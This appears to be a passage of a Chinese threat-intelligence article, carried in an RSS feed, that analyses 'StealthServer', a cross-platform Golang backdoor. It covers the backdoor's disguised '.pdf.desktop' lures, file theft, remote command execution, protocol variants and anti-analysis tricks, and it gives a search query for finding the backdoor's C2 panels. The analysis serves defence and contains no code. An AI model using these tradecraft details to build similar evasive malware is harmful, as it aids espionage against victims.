<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=15fe3588&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkxMDYzODQxNA%3D%3D%26mid%3D2247484193%26idx%3D1%26sn%3D124dd2a159bf6d40fba8d4a5d01588f4">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 29 Oct 2025 11:37:00 +0800</pubDate>
    </item>
    <item>
      <title>南亚某组织的双平台后门：StealthServer</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkxMDYzODQxNA==&amp;mid=2247484146&amp;idx=1&amp;sn=e369696c02445951e6cbe6ad258327e4</link>
      <description>南亚地区长期以来都是网络攻击的高发地带，多个 APT 组织在此持续活跃且攻击频率和技术水平不断提升，我们也在关</description>
      <content:encoded><![CDATA[<p>
原创 <span>奇安信X实验室</span> <span>2025-10-16 10:54</span> <span style="display: inline-block;">北京</span>
</p>




<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=57094164&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FI28micxvFPbiadtLKDCnAS4jM6MQNcBkxKrWNtqTMKVnUZ996yVQibBQhXkzxHtZho7zAOH4PYDhiaaGczkpGicUGmg%2F0%3Fwx_fmt%3Djpeg"/></p>


<p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">南亚地区长期以来都是网络攻击的高发地带，多个 APT 组织在此持续活跃且攻击频率和技术水平不断提升，我们也在关注和收集相关线索。从七月初以来陆续捕获到一批新的样本，包括 Windows 和 Linux 平台，这些文件的名字多与会议、采购等话题相关，比如</span></span><strong style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 700;font-stretch: inherit;line-height: inherit;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 15px;margin: 0px;padding: 0px;vertical-align: baseline;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">“Meeting_Ltr_ID1543ops.pdf.desktop”</span></strong><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">、</span></span><strong style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 700;font-stretch: inherit;line-height: inherit;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 15px;margin: 0px;padding: 0px;vertical-align: baseline;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">“PROCUREMENT_OF_MANPORTABLE_&amp;_COMPAC.pdf.desktop”</span></strong><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">，在执行时表面上会打开一份 PDF 文档以误导用户，而真正的恶意负载在后台静默运行，打开的文档内容也多与政治、军队、会议等话题相关，且基本与南亚某国相关。</span></span></p><p><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span leaf=""><img alt="fakepdf.jpeg" class="rich_pages wxw-img" data-imgfileid="100000477" data-ratio="0.5027777777777778" data-w="1080" data-type="jpeg" src="https://wechat2rss.xlab.app/img-proxy/?k=ec77123d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FI28micxvFPbiadtLKDCnAS4jM6MQNcBkxKFaCNBLd9wcNK8kZyccAOMTwTlqm3Mmt7MWDBNzkyeriaa0g27P0QrKw%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></span></p><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">经过分析，这是一款名为 </span></span><strong style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 700;font-stretch: inherit;line-height: inherit;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 15px;margin: 0px;padding: 0px;vertical-align: baseline;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">“StealthServer”</span></strong><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf=""> 的后门，核心功能使用 Golang 编写，支持 Windows 和 Linux 双平台，包括多个迭代版本。“StealthServer”这个名字来源于最初发现的 Linux 样本，其通信服务器在收到客户端上线之后会响应一条确认信息</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">{&#34;service&#34;:&#34;stealth-server&#34;,&#34;status&#34;:&#34;ok&#34;}</span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">。在之后发现的一个 Windows 变种中还发现了大量类似 </span></span><strong style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 700;font-stretch: inherit;line-height: inherit;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 15px;margin: 0px;padding: 0px;vertical-align: baseline;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">“ULTRA-”</span></strong><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf=""> 的字样，表明开发者曾想将 Windows 版本命名为 </span></span><strong style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 700;font-stretch: inherit;line-height: inherit;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 15px;margin: 0px;padding: 0px;vertical-align: baseline;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">“ULTRA-CLIENT”</span></strong><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">，但在后续的 Windows 变种里去掉了这一特征，因此这里将两个平台的样本统一称为 </span></span><strong style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 700;font-stretch: inherit;line-height: inherit;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 15px;margin: 0px;padding: 0px;vertical-align: baseline;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">“StealthServer”</span></strong><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">。</span></span></span></p><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">功能方面，StealthServer 实现了两个核心功能：一是窃取受害者主机上的文件，二是执行 C2 下发的任意命令。协议方面，StealthServer 积极尝试切换不同的协议进行通信：目前识别了三个 Windows 变种，前两个变种通过 TCP Socket 通信，第三个变种切换为 WebSocket 协议；Linux 样本中则发现了两个变种，分别使用 HTTP 和 WebSocket 协议。</span></span></span></p><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">除此之外，StealthServer 最显著的特点是通过插入大量垃圾代码和垃圾函数来干扰分析人员，显著拖慢逆向工程的进度，某些变种还试图通过循环访问“google.com”、“microsoft.com”等类似的白名单域名来干扰流量分析。</span></span></span></span></p><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">通过我们的测绘系统搜索今年六月初以来 </span></span><strong style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 700;font-stretch: inherit;line-height: inherit;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 15px;margin: 0px;padding: 0px;vertical-align: baseline;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">Web.Title=&#34;*Stealth Server*&#34;</span></strong><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf=""> 的资产，能发现一些存活的后台登录地址，如下图中站点标题为 </span></span><strong style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 700;font-stretch: inherit;line-height: inherit;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 15px;margin: 0px;padding: 0px;vertical-align: baseline;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">“Stealth Server - Login”</span></strong><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf=""> 的条目所示。由于 StealthServer 的 C2 存活时间一般较短，并无太多指令跟踪或感染方面的视野，因此本文重点放在样本分析部分，一些早期针对部分变种的分析线索（</span><span leaf=""><a href="https://www.linkedin.com/posts/pushprajthakre_apt36-cyberespionage-transparenttribe-activity-7364565847383695362-OSk3?ref=blog.xlab.qianxin.com" target="_blank">https://www.linkedin.com/posts/pushprajthakre_apt36-cyberespionage-transparenttribe-activity-7364565847383695362-OSk3?ref=blog.xlab.qianxin.com</a></span><span leaf="">）</span></span><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">也可以作为参考。</span></span></p><p><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span leaf=""><img alt="hunter-1.png" class="rich_pages wxw-img" data-imgfileid="100000478" data-ratio="1.0194444444444444" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=28d9ab1d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiadtLKDCnAS4jM6MQNcBkxKA5Y9IoP74U5GwKN73TLKfGycGFlBjZVCKeoH4iaO8vVC10lndz2RLUw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></p><p><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">后台登录界面如下。</span></span></span></p><p><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf=""><img alt="StealthServer_BackEnd_Login.png" class="rich_pages wxw-img" 